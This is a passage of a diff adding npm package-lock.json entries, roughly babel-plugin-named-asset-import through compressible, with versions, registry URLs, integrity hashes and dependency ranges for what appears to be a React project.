+      "resolved": "https://registry.npmjs.org/babel-plugin-named-asset-import/-/babel-plugin-named-asset-import-0.3.8.tgz",
+      "integrity": "sha512-WXiAc++qo7XcJ1ZnTYGtLxmBCVbddAml3CEXgWaBzNzLNoxtQ8AiGEFDMOhot9XjTCQbvP5E77Fj9Gk924f00Q==",
+      "peerDependencies": {
+        "@babel/core": "^7.1.0"
+      }
+    },
+    "node_modules/babel-plugin-polyfill-corejs2": {
+      "version": "0.3.3",
+      "resolved": "https://registry.npmjs.org/babel-plugin-polyfill-corejs2/-/babel-plugin-polyfill-corejs2-0.3.3.tgz",
+      "integrity": "sha512-8hOdmFYFSZhqg2C/JgLUQ+t52o5nirNwaWM2B9LWteozwIvM14VSwdsCAUET10qT+kmySAlseadmfeeSWFCy+Q==",
+      "dependencies": {
+        "@babel/compat-data": "^7.17.7",
+        "@babel/helper-define-polyfill-provider": "^0.3.3",
+        "semver": "^6.1.1"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/babel-plugin-polyfill-corejs2/node_modules/semver": {
+      "version": "6.3.1",
+      "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz",
+      "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==",
+      "bin": {
+        "semver": "bin/semver.js"
+      }
+    },
+    "node_modules/babel-plugin-polyfill-corejs3": {
+      "version": "0.6.0",
+      "resolved": "https://registry.npmjs.org/babel-plugin-polyfill-corejs3/-/babel-plugin-polyfill-corejs3-0.6.0.tgz",
+      "integrity": "sha512-+eHqR6OPcBhJOGgsIar7xoAB1GcSwVUA3XjAd7HJNzOXT4wv6/H7KIdA/Nc60cvUlDbKApmqNvD1B1bzOt4nyA==",
+      "dependencies": {
+        "@babel/helper-define-polyfill-provider": "^0.3.3",
+        "core-js-compat": "^3.25.1"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/babel-plugin-polyfill-regenerator": {
+      "version": "0.4.1",
+      "resolved": "https://registry.npmjs.org/babel-plugin-polyfill-regenerator/-/babel-plugin-polyfill-regenerator-0.4.1.tgz",
+      "integrity": "sha512-NtQGmyQDXjQqQ+IzRkBVwEOz9lQ4zxAQZgoAYEtU9dJjnl1Oc98qnN7jcp+bE7O7aYzVpavXE3/VKXNzUbh7aw==",
+      "dependencies": {
+        "@babel/helper-define-polyfill-provider": "^0.3.3"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/babel-plugin-transform-react-remove-prop-types": {
+      "version": "0.4.24",
+      "resolved": "https://registry.npmjs.org/babel-plugin-transform-react-remove-prop-types/-/babel-plugin-transform-react-remove-prop-types-0.4.24.tgz",
+      "integrity": "sha512-eqj0hVcJUR57/Ug2zE1Yswsw4LhuqqHhD+8v120T1cl3kjg76QwtyBrdIk4WVwK+lAhBJVYCd/v+4nc4y+8JsA=="
+    },
+    "node_modules/babel-preset-current-node-syntax": {
+      "version": "1.0.1",
+      "resolved": "https://registry.npmjs.org/babel-preset-current-node-syntax/-/babel-preset-current-node-syntax-1.0.1.tgz",
+      "integrity": "sha512-M7LQ0bxarkxQoN+vz5aJPsLBn77n8QgTFmo8WK0/44auK2xlCXrYcUxHFxgU7qW5Yzw/CjmLRK2uJzaCd7LvqQ==",
+      "dependencies": {
+        "@babel/plugin-syntax-async-generators": "^7.8.4",
+        "@babel/plugin-syntax-bigint": "^7.8.3",
+        "@babel/plugin-syntax-class-properties": "^7.8.3",
+        "@babel/plugin-syntax-import-meta": "^7.8.3",
+        "@babel/plugin-syntax-json-strings": "^7.8.3",
+        "@babel/plugin-syntax-logical-assignment-operators": "^7.8.3",
+        "@babel/plugin-syntax-nullish-coalescing-operator": "^7.8.3",
+        "@babel/plugin-syntax-numeric-separator": "^7.8.3",
+        "@babel/plugin-syntax-object-rest-spread": "^7.8.3",
+        "@babel/plugin-syntax-optional-catch-binding": "^7.8.3",
+        "@babel/plugin-syntax-optional-chaining": "^7.8.3",
+        "@babel/plugin-syntax-top-level-await": "^7.8.3"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0"
+      }
+    },
+    "node_modules/babel-preset-jest": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/babel-preset-jest/-/babel-preset-jest-27.5.1.tgz",
+      "integrity": "sha512-Nptf2FzlPCWYuJg41HBqXVT8ym6bXOevuCTbhxlUpjwtysGaIWFvDEjp4y+G7fl13FgOdjs7P/DmErqH7da0Ag==",
+      "dependencies": {
+        "babel-plugin-jest-hoist": "^27.5.1",
+        "babel-preset-current-node-syntax": "^1.0.0"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0"
+      }
+    },
+    "node_modules/babel-preset-react-app": {
+      "version": "10.0.1",
+      "resolved": "https://registry.npmjs.org/babel-preset-react-app/-/babel-preset-react-app-10.0.1.tgz",
+      "integrity": "sha512-b0D9IZ1WhhCWkrTXyFuIIgqGzSkRIH5D5AmB0bXbzYAB1OBAwHcUeyWW2LorutLWF5btNo/N7r/cIdmvvKJlYg==",
+      "dependencies": {
+        "@babel/core": "^7.16.0",
+        "@babel/plugin-proposal-class-properties": "^7.16.0",
+        "@babel/plugin-proposal-decorators": "^7.16.4",
+        "@babel/plugin-proposal-nullish-coalescing-operator": "^7.16.0",
+        "@babel/plugin-proposal-numeric-separator": "^7.16.0",
+        "@babel/plugin-proposal-optional-chaining": "^7.16.0",
+        "@babel/plugin-proposal-private-methods": "^7.16.0",
+        "@babel/plugin-transform-flow-strip-types": "^7.16.0",
+        "@babel/plugin-transform-react-display-name": "^7.16.0",
+        "@babel/plugin-transform-runtime": "^7.16.4",
+        "@babel/preset-env": "^7.16.4",
+        "@babel/preset-react": "^7.16.0",
+        "@babel/preset-typescript": "^7.16.0",
+        "@babel/runtime": "^7.16.3",
+        "babel-plugin-macros": "^3.1.0",
+        "babel-plugin-transform-react-remove-prop-types": "^0.4.24"
+      }
+    },
+    "node_modules/balanced-match": {
+      "version": "1.0.2",
+      "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz",
+      "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw=="
+    },
+    "node_modules/batch": {
+      "version": "0.6.1",
+      "resolved": "https://registry.npmjs.org/batch/-/batch-0.6.1.tgz",
+      "integrity": "sha512-x+VAiMRL6UPkx+kudNvxTl6hB2XNNCG2r+7wixVfIYwu/2HKRXimwQyaumLjMveWvT2Hkd/cAJw+QBMfJ/EKVw=="
+    },
+    "node_modules/bfj": {
+      "version": "7.0.2",
+      "resolved": "https://registry.npmjs.org/bfj/-/bfj-7.0.2.tgz",
+      "integrity": "sha512-+e/UqUzwmzJamNF50tBV6tZPTORow7gQ96iFow+8b562OdMpEK0BcJEq2OSPEDmAbSMBQ7PKZ87ubFkgxpYWgw==",
+      "dependencies": {
+        "bluebird": "^3.5.5",
+        "check-types": "^11.1.1",
+        "hoopy": "^0.1.4",
+        "tryer": "^1.0.1"
+      },
+      "engines": {
+        "node": ">= 8.0.0"
+      }
+    },
+    "node_modules/big.js": {
+      "version": "5.2.2",
+      "resolved": "https://registry.npmjs.org/big.js/-/big.js-5.2.2.tgz",
+      "integrity": "sha512-vyL2OymJxmarO8gxMr0mhChsO9QGwhynfuu4+MHTAW6czfq9humCB7rKpUjDd9YUiDPU4mzpyupFSvOClAwbmQ==",
+      "engines": {
+        "node": "*"
+      }
+    },
+    "node_modules/binary-extensions": {
+      "version": "2.2.0",
+      "resolved": "https://registry.npmjs.org/binary-extensions/-/binary-extensions-2.2.0.tgz",
+      "integrity": "sha512-jDctJ/IVQbZoJykoeHbhXpOlNBqGNcwXJKJog42E5HDPUwQTSdjCHdihjj0DlnheQ7blbT6dHOafNAiS8ooQKA==",
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/bluebird": {
+      "version": "3.7.2",
+      "resolved": "https://registry.npmjs.org/bluebird/-/bluebird-3.7.2.tgz",
+      "integrity": "sha512-XpNj6GDQzdfW+r2Wnn7xiSAd7TM3jzkxGXBGTtWKuSXv1xUV+azxAm8jdWZN06QTQk+2N2XB9jRDkvbmQmcRtg=="
+    },
+    "node_modules/body-parser": {
+      "version": "1.20.3",
+      "resolved": "https://registry.npmjs.org/body-parser/-/body-parser-1.20.3.tgz",
+      "integrity": "sha512-7rAxByjUMqQ3/bHJy7D6OGXvx/MMc4IqBn/X0fcM1QUcAItpZrBEYhWGem+tzXH90c+G01ypMcYJBO9Y30203g==",
+      "dependencies": {
+        "bytes": "3.1.2",
+        "content-type": "~1.0.5",
+        "debug": "2.6.9",
+        "depd": "2.0.0",
+        "destroy": "1.2.0",
+        "http-errors": "2.0.0",
+        "iconv-lite": "0.4.24",
+        "on-finished": "2.4.1",
+        "qs": "6.13.0",
+        "raw-body": "2.5.2",
+        "type-is": "~1.6.18",
+        "unpipe": "1.0.0"
+      },
+      "engines": {
+        "node": ">= 0.8",
+        "npm": "1.2.8000 || >= 1.4.16"
+      }
+    },
+    "node_modules/body-parser/node_modules/bytes": {
+      "version": "3.1.2",
+      "resolved": "https://registry.npmjs.org/bytes/-/bytes-3.1.2.tgz",
+      "integrity": "sha512-/Nf7TyzTx6S3yRJObOAV7956r8cr2+Oj8AC5dt8wSP3BQAoeX58NoHyCU8P8zGkNXStjTSi6fzO6F0pBdcYbEg==",
+      "engines": {
+        "node": ">= 0.8"
+      }
+    },
+    "node_modules/body-parser/node_modules/debug": {
+      "version": "2.6.9",
+      "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz",
+      "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==",
+      "dependencies": {
+        "ms": "2.0.0"
+      }
+    },
+    "node_modules/body-parser/node_modules/iconv-lite": {
+      "version": "0.4.24",
+      "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.4.24.tgz",
+      "integrity": "sha512-v3MXnZAcvnywkTUEZomIActle7RXXeedOR31wwl7VlyoXO4Qi9arvSenNQWne1TcRwhCL1HwLI21bEqdpj8/rA==",
+      "dependencies": {
+        "safer-buffer": ">= 2.1.2 < 3"
+      },
+      "engines": {
+        "node": ">=0.10.0"
+      }
+    },
+    "node_modules/body-parser/node_modules/ms": {
+      "version": "2.0.0",
+      "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz",
+      "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A=="
+    },
+    "node_modules/bonjour-service": {
+      "version": "1.0.14",
+      "resolved": "https://registry.npmjs.org/bonjour-service/-/bonjour-service-1.0.14.tgz",
+      "integrity": "sha512-HIMbgLnk1Vqvs6B4Wq5ep7mxvj9sGz5d1JJyDNSGNIdA/w2MCz6GTjWTdjqOJV1bEPj+6IkxDvWNFKEBxNt4kQ==",
+      "dependencies": {
+        "array-flatten": "^2.1.2",
+        "dns-equal": "^1.0.0",
+        "fast-deep-equal": "^3.1.3",
+        "multicast-dns": "^7.2.5"
+      }
+    },
+    "node_modules/boolbase": {
+      "version": "1.0.0",
+      "resolved": "https://registry.npmjs.org/boolbase/-/boolbase-1.0.0.tgz",
+      "integrity": "sha512-JZOSA7Mo9sNGB8+UjSgzdLtokWAky1zbztM3WRLCbZ70/3cTANmQmOdR7y2g+J0e2WXywy1yS468tY+IruqEww=="
+    },
+    "node_modules/bootstrap": {
+      "version": "4.4.1",
+      "resolved": "https://registry.npmjs.org/bootstrap/-/bootstrap-4.4.1.tgz",
+      "integrity": "sha512-tbx5cHubwE6e2ZG7nqM3g/FZ5PQEDMWmMGNrCUBVRPHXTJaH7CBDdsLeu3eCh3B1tzAxTnAbtmrzvWEvT2NNEA==",
+      "engines": {
+        "node": ">=6"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/bootstrap"
+      },
+      "peerDependencies": {
+        "jquery": "1.9.1 - 3",
+        "popper.js": "^1.16.0"
+      }
+    },
+    "node_modules/brace-expansion": {
+      "version": "1.1.11",
+      "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.11.tgz",
+      "integrity": "sha512-iCuPHDFgrHX7H2vEI/5xpz07zSHB00TpugqhmYtVmMO6518mCuRMoOYFldEBl0g187ufozdaHgWKcYFb61qGiA==",
+      "dependencies": {
+        "balanced-match": "^1.0.0",
+        "concat-map": "0.0.1"
+      }
+    },
+    "node_modules/braces": {
+      "version": "3.0.3",
+      "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.3.tgz",
+      "integrity": "sha512-yQbXgO/OSZVD2IsiLlro+7Hf6Q18EJrKSEsdoMzKePKXct3gvD8oLcOQdIzGupr5Fj+EDe8gO/lxc1BzfMpxvA==",
+      "dependencies": {
+        "fill-range": "^7.1.1"
+      },
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/browser-process-hrtime": {
+      "version": "1.0.0",
+      "resolved": "https://registry.npmjs.org/browser-process-hrtime/-/browser-process-hrtime-1.0.0.tgz",
+      "integrity": "sha512-9o5UecI3GhkpM6DrXr69PblIuWxPKk9Y0jHBRhdocZ2y7YECBFCsHm79Pr3OyR2AvjhDkabFJaDJMYRazHgsow=="
+    },
+    "node_modules/browserslist": {
+      "version": "4.23.3",
+      "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.23.3.tgz",
+      "integrity": "sha512-btwCFJVjI4YWDNfau8RhZ+B1Q/VLoUITrm3RlP6y1tYGWIOa+InuYiRGXUBXo8nA1qKmHMyLB/iVQg5TT4eFoA==",
+      "funding": [
+        {
+          "type": "opencollective",
+          "url": "https://opencollective.com/browserslist"
+        },
+        {
+          "type": "tidelift",
+          "url": "https://tidelift.com/funding/github/npm/browserslist"
+        },
+        {
+          "type": "github",
+          "url": "https://github.com/sponsors/ai"
+        }
+      ],
+      "dependencies": {
+        "caniuse-lite": "^1.0.30001646",
+        "electron-to-chromium": "^1.5.4",
+        "node-releases": "^2.0.18",
+        "update-browserslist-db": "^1.1.0"
+      },
+      "bin": {
+        "browserslist": "cli.js"
+      },
+      "engines": {
+        "node": "^6 || ^7 || ^8 || ^9 || ^10 || ^11 || ^12 || >=13.7"
+      }
+    },
+    "node_modules/bser": {
+      "version": "2.1.1",
+      "resolved": "https://registry.npmjs.org/bser/-/bser-2.1.1.tgz",
+      "integrity": "sha512-gQxTNE/GAfIIrmHLUE3oJyp5FO6HRBfhjnw4/wMmA63ZGDJnWBmgY/lyQBpnDUkGmAhbSe39tx2d/iTOAfglwQ==",
+      "dependencies": {
+        "node-int64": "^0.4.0"
+      }
+    },
+    "node_modules/buffer-from": {
+      "version": "1.1.2",
+      "resolved": "https://registry.npmjs.org/buffer-from/-/buffer-from-1.1.2.tgz",
+      "integrity": "sha512-E+XQCRwSbaaiChtv6k6Dwgc+bx+Bs6vuKJHHl5kox/BaKbhiXzqQOwK4cO22yElGp2OCmjwVhT3HmxgyPGnJfQ=="
+    },
+    "node_modules/builtin-modules": {
+      "version": "3.3.0",
+      "resolved": "https://registry.npmjs.org/builtin-modules/-/builtin-modules-3.3.0.tgz",
+      "integrity": "sha512-zhaCDicdLuWN5UbN5IMnFqNMhNfo919sH85y2/ea+5Yg9TsTkeZxpL+JLbp6cgYFS4sRLp3YV4S6yDuqVWHYOw==",
+      "engines": {
+        "node": ">=6"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/sindresorhus"
+      }
+    },
+    "node_modules/bytes": {
+      "version": "3.0.0",
+      "resolved": "https://registry.npmjs.org/bytes/-/bytes-3.0.0.tgz",
+      "integrity": "sha512-pMhOfFDPiv9t5jjIXkHosWmkSyQbvsgEVNkz0ERHbuLh2T/7j4Mqqpz523Fe8MVY89KC6Sh/QfS2sM+SjgFDcw==",
+      "engines": {
+        "node": ">= 0.8"
+      }
+    },
+    "node_modules/call-bind": {
+      "version": "1.0.7",
+      "resolved": "https://registry.npmjs.org/call-bind/-/call-bind-1.0.7.tgz",
+      "integrity": "sha512-GHTSNSYICQ7scH7sZ+M2rFopRoLh8t2bLSW6BbgrtLsahOIB5iyAVJf9GjWK3cYTDaMj4XdBpM1cA6pIS0Kv2w==",
+      "dependencies": {
+        "es-define-property": "^1.0.0",
+        "es-errors": "^1.3.0",
+        "function-bind": "^1.1.2",
+        "get-intrinsic": "^1.2.4",
+        "set-function-length": "^1.2.1"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/callsites": {
+      "version": "3.1.0",
+      "resolved": "https://registry.npmjs.org/callsites/-/callsites-3.1.0.tgz",
+      "integrity": "sha512-P8BjAsXvZS+VIDUI11hHCQEv74YT67YUi5JJFNWIqL235sBmjX4+qx9Muvls5ivyNENctx46xQLQ3aTuE7ssaQ==",
+      "engines": {
+        "node": ">=6"
+      }
+    },
+    "node_modules/camel-case": {
+      "version": "4.1.2",
+      "resolved": "https://registry.npmjs.org/camel-case/-/camel-case-4.1.2.tgz",
+      "integrity": "sha512-gxGWBrTT1JuMx6R+o5PTXMmUnhnVzLQ9SNutD4YqKtI6ap897t3tKECYla6gCWEkplXnlNybEkZg9GEGxKFCgw==",
+      "dependencies": {
+        "pascal-case": "^3.1.2",
+        "tslib": "^2.0.3"
+      }
+    },
+    "node_modules/camelcase": {
+      "version": "6.3.0",
+      "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-6.3.0.tgz",
+      "integrity": "sha512-Gmy6FhYlCY7uOElZUSbxo2UCDH8owEk996gkbrpsgGtrJLM3J7jGxl9Ic7Qwwj4ivOE5AWZWRMecDdF7hqGjFA==",
+      "engines": {
+        "node": ">=10"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/sindresorhus"
+      }
+    },
+    "node_modules/camelcase-css": {
+      "version": "2.0.1",
+      "resolved": "https://registry.npmjs.org/camelcase-css/-/camelcase-css-2.0.1.tgz",
+      "integrity": "sha512-QOSvevhslijgYwRx6Rv7zKdMF8lbRmx+uQGx2+vDc+KI/eBnsy9kit5aj23AgGu3pa4t9AgwbnXWqS+iOY+2aA==",
+      "engines": {
+        "node": ">= 6"
+      }
+    },
+    "node_modules/caniuse-api": {
+      "version": "3.0.0",
+      "resolved": "https://registry.npmjs.org/caniuse-api/-/caniuse-api-3.0.0.tgz",
+      "integrity": "sha512-bsTwuIg/BZZK/vreVTYYbSWoe2F+71P7K5QGEX+pT250DZbfU1MQ5prOKpPR+LL6uWKK3KMwMCAS74QB3Um1uw==",
+      "dependencies": {
+        "browserslist": "^4.0.0",
+        "caniuse-lite": "^1.0.0",
+        "lodash.memoize": "^4.1.2",
+        "lodash.uniq": "^4.5.0"
+      }
+    },
+    "node_modules/caniuse-lite": {
+      "version": "1.0.30001655",
+      "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001655.tgz",
+      "integrity": "sha512-jRGVy3iSGO5Uutn2owlb5gR6qsGngTw9ZTb4ali9f3glshcNmJ2noam4Mo9zia5P9Dk3jNNydy7vQjuE5dQmfg==",
+      "funding": [
+        {
+          "type": "opencollective",
+          "url": "https://opencollective.com/browserslist"
+        },
+        {
+          "type": "tidelift",
+          "url": "https://tidelift.com/funding/github/npm/caniuse-lite"
+        },
+        {
+          "type": "github",
+          "url": "https://github.com/sponsors/ai"
+        }
+      ]
+    },
+    "node_modules/case-sensitive-paths-webpack-plugin": {
+      "version": "2.4.0",
+      "resolved": "https://registry.npmjs.org/case-sensitive-paths-webpack-plugin/-/case-sensitive-paths-webpack-plugin-2.4.0.tgz",
+      "integrity": "sha512-roIFONhcxog0JSSWbvVAh3OocukmSgpqOH6YpMkCvav/ySIV3JKg4Dc8vYtQjYi/UxpNE36r/9v+VqTQqgkYmw==",
+      "engines": {
+        "node": ">=4"
+      }
+    },
+    "node_modules/chalk": {
+      "version": "2.4.2",
+      "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.2.tgz",
+      "integrity": "sha512-Mti+f9lpJNcwF4tWV8/OrTTtF1gZi+f8FqlyAdouralcFWFQWF2+NgCHShjkCb+IFBLq9buZwE1xckQU4peSuQ==",
+      "dependencies": {
+        "ansi-styles": "^3.2.1",
+        "escape-string-regexp": "^1.0.5",
+        "supports-color": "^5.3.0"
+      },
+      "engines": {
+        "node": ">=4"
+      }
+    },
+    "node_modules/char-regex": {
+      "version": "1.0.2",
+      "resolved": "https://registry.npmjs.org/char-regex/-/char-regex-1.0.2.tgz",
+      "integrity": "sha512-kWWXztvZ5SBQV+eRgKFeh8q5sLuZY2+8WUIzlxWVTg+oGwY14qylx1KbKzHd8P6ZYkAg0xyIDU9JMHhyJMZ1jw==",
+      "engines": {
+        "node": ">=10"
+      }
+    },
+    "node_modules/check-types": {
+      "version": "11.1.2",
+      "resolved": "https://registry.npmjs.org/check-types/-/check-types-11.1.2.tgz",
+      "integrity": "sha512-tzWzvgePgLORb9/3a0YenggReLKAIb2owL03H2Xdoe5pKcUyWRSEQ8xfCar8t2SIAuEDwtmx2da1YB52YuHQMQ=="
+    },
+    "node_modules/chokidar": {
+      "version": "3.5.3",
+      "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-3.5.3.tgz",
+      "integrity": "sha512-Dr3sfKRP6oTcjf2JmUmFJfeVMvXBdegxB0iVQ5eb2V10uFJUCAS8OByZdVAyVb8xXNz3GjjTgj9kLWsZTqE6kw==",
+      "funding": [
+        {
+          "type": "individual",
+          "url": "https://paulmillr.com/funding/"
+        }
+      ],
+      "dependencies": {
+        "anymatch": "~3.1.2",
+        "braces": "~3.0.2",
+        "glob-parent": "~5.1.2",
+        "is-binary-path": "~2.1.0",
+        "is-glob": "~4.0.1",
+        "normalize-path": "~3.0.0",
+        "readdirp": "~3.6.0"
+      },
+      "engines": {
+        "node": ">= 8.10.0"
+      },
+      "optionalDependencies": {
+        "fsevents": "~2.3.2"
+      }
+    },
+    "node_modules/chokidar/node_modules/glob-parent": {
+      "version": "5.1.2",
+      "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz",
+      "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==",
+      "dependencies": {
+        "is-glob": "^4.0.1"
+      },
+      "engines": {
+        "node": ">= 6"
+      }
+    },
+    "node_modules/chrome-trace-event": {
+      "version": "1.0.3",
+      "resolved": "https://registry.npmjs.org/chrome-trace-event/-/chrome-trace-event-1.0.3.tgz",
+      "integrity": "sha512-p3KULyQg4S7NIHixdwbGX+nFHkoBiA4YQmyWtjb8XngSKV124nJmRysgAeujbUVb15vh+RvFUfCPqU7rXk+hZg==",
+      "engines": {
+        "node": ">=6.0"
+      }
+    },
+    "node_modules/ci-info": {
+      "version": "3.4.0",
+      "resolved": "https://registry.npmjs.org/ci-info/-/ci-info-3.4.0.tgz",
+      "integrity": "sha512-t5QdPT5jq3o262DOQ8zA6E1tlH2upmUc4Hlvrbx1pGYJuiiHl7O7rvVNI+l8HTVhd/q3Qc9vqimkNk5yiXsAug=="
+    },
+    "node_modules/cjs-module-lexer": {
+      "version": "1.2.2",
+      "resolved": "https://registry.npmjs.org/cjs-module-lexer/-/cjs-module-lexer-1.2.2.tgz",
+      "integrity": "sha512-cOU9usZw8/dXIXKtwa8pM0OTJQuJkxMN6w30csNRUerHfeQ5R6U3kkU/FtJeIf3M202OHfY2U8ccInBG7/xogA=="
+    },
+    "node_modules/clean-css": {
+      "version": "5.3.1",
+      "resolved": "https://registry.npmjs.org/clean-css/-/clean-css-5.3.1.tgz",
+      "integrity": "sha512-lCr8OHhiWCTw4v8POJovCoh4T7I9U11yVsPjMWWnnMmp9ZowCxyad1Pathle/9HjaDp+fdQKjO9fQydE6RHTZg==",
+      "dependencies": {
+        "source-map": "~0.6.0"
+      },
+      "engines": {
+        "node": ">= 10.0"
+      }
+    },
+    "node_modules/cliui": {
+      "version": "7.0.4",
+      "resolved": "https://registry.npmjs.org/cliui/-/cliui-7.0.4.tgz",
+      "integrity": "sha512-OcRE68cOsVMXp1Yvonl/fzkQOyjLSu/8bhPDfQt0e0/Eb283TKP20Fs2MqoPsr9SwA595rRCA+QMzYc9nBP+JQ==",
+      "dependencies": {
+        "string-width": "^4.2.0",
+        "strip-ansi": "^6.0.0",
+        "wrap-ansi": "^7.0.0"
+      }
+    },
+    "node_modules/co": {
+      "version": "4.6.0",
+      "resolved": "https://registry.npmjs.org/co/-/co-4.6.0.tgz",
+      "integrity": "sha512-QVb0dM5HvG+uaxitm8wONl7jltx8dqhfU33DcqtOZcLSVIKSDDLDi7+0LbAKiyI8hD9u42m2YxXSkMGWThaecQ==",
+      "engines": {
+        "iojs": ">= 1.0.0",
+        "node": ">= 0.12.0"
+      }
+    },
+    "node_modules/coa": {
+      "version": "2.0.2",
+      "resolved": "https://registry.npmjs.org/coa/-/coa-2.0.2.tgz",
+      "integrity": "sha512-q5/jG+YQnSy4nRTV4F7lPepBJZ8qBNJJDBuJdoejDyLXgmL7IEo+Le2JDZudFTFt7mrCqIRaSjws4ygRCTCAXA==",
+      "dependencies": {
+        "@types/q": "^1.5.1",
+        "chalk": "^2.4.1",
+        "q": "^1.1.2"
+      },
+      "engines": {
+        "node": ">= 4.0"
+      }
+    },
+    "node_modules/collect-v8-coverage": {
+      "version": "1.0.1",
+      "resolved": "https://registry.npmjs.org/collect-v8-coverage/-/collect-v8-coverage-1.0.1.tgz",
+      "integrity": "sha512-iBPtljfCNcTKNAto0KEtDfZ3qzjJvqE3aTGZsbhjSBlorqpXJlaWWtPO35D+ZImoC3KWejX64o+yPGxhWSTzfg=="
+    },
+    "node_modules/color-convert": {
+      "version": "1.9.3",
+      "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.3.tgz",
+      "integrity": "sha512-QfAUtd+vFdAtFQcC8CCyYt1fYWxSqAiK2cSD6zDB8N3cpsEBAvRxp9zOGg6G/SHHJYAT88/az/IuDGALsNVbGg==",
+      "dependencies": {
+        "color-name": "1.1.3"
+      }
+    },
+    "node_modules/color-name": {
+      "version": "1.1.3",
+      "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.3.tgz",
+      "integrity": "sha1-p9BVi9icQveV3UIyj3QIMcpTvCU="
+    },
+    "node_modules/colord": {
+      "version": "2.9.3",
+      "resolved": "https://registry.npmjs.org/colord/-/colord-2.9.3.tgz",
+      "integrity": "sha512-jeC1axXpnb0/2nn/Y1LPuLdgXBLH7aDcHu4KEKfqw3CUhX7ZpfBSlPKyqXE6btIgEzfWtrX3/tyBCaCvXvMkOw=="
+    },
+    "node_modules/colorette": {
+      "version": "2.0.19",
+      "resolved": "https://registry.npmjs.org/colorette/-/colorette-2.0.19.tgz",
+      "integrity": "sha512-3tlv/dIP7FWvj3BsbHrGLJ6l/oKh1O3TcgBqMn+yyCagOxc23fyzDS6HypQbgxWbkpDnf52p1LuR4eWDQ/K9WQ=="
+    },
+    "node_modules/combined-stream": {
+      "version": "1.0.8",
+      "resolved": "https://registry.npmjs.org/combined-stream/-/combined-stream-1.0.8.tgz",
+      "integrity": "sha512-FQN4MRfuJeHf7cBbBMJFXhKSDq+2kAArBlmRBvcvFE5BB1HZKXtSFASDhdlz9zOYwxh8lDdnvmMOe/+5cdoEdg==",
+      "dependencies": {
+        "delayed-stream": "~1.0.0"
+      },
+      "engines": {
+        "node": ">= 0.8"
+      }
+    },
+    "node_modules/commander": {
+      "version": "8.3.0",
+      "resolved": "https://registry.npmjs.org/commander/-/commander-8.3.0.tgz",
+      "integrity": "sha512-OkTL9umf+He2DZkUq8f8J9of7yL6RJKI24dVITBmNfZBmri9zYZQrKkuXiKhyfPSu8tUhnVBB1iKXevvnlR4Ww==",
+      "engines": {
+        "node": ">= 12"
+      }
+    },
+    "node_modules/common-path-prefix": {
+      "version": "3.0.0",
+      "resolved": "https://registry.npmjs.org/common-path-prefix/-/common-path-prefix-3.0.0.tgz",
+      "integrity": "sha512-QE33hToZseCH3jS0qN96O/bSh3kaw/h+Tq7ngyY9eWDUnTlTNUyqfqvCXioLe5Na5jFsL78ra/wuBU4iuEgd4w=="
+    },
+    "node_modules/common-tags": {
+      "version": "1.8.2",
+      "resolved": "https://registry.npmjs.org/common-tags/-/common-tags-1.8.2.tgz",
+      "integrity": "sha512-gk/Z852D2Wtb//0I+kRFNKKE9dIIVirjoqPoA1wJU+XePVXZfGeBpk45+A1rKO4Q43prqWBNY/MiIeRLbPWUaA==",
+      "engines": {
+        "node": ">=4.0.0"
+      }
+    },
+    "node_modules/commondir": {
+      "version": "1.0.1",
+      "resolved": "https://registry.npmjs.org/commondir/-/commondir-1.0.1.tgz",
+      "integrity": "sha512-W9pAhw0ja1Edb5GVdIF1mjZw/ASI0AlShXM83UUGe2DVr5TdAPEA1OA8m/g8zWp9x6On7gqufY+FatDbC3MDQg=="
+    },
+    "node_modules/compressible": {
+      "version": "2.0.18",
+      "resolved": "https://registry.npmjs.org/compressible/-/compressible-2.0.18.tgz",
